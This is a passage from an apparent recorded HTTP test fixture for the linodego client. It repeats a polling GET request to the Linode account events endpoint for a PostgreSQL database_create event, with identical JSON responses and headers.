X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - 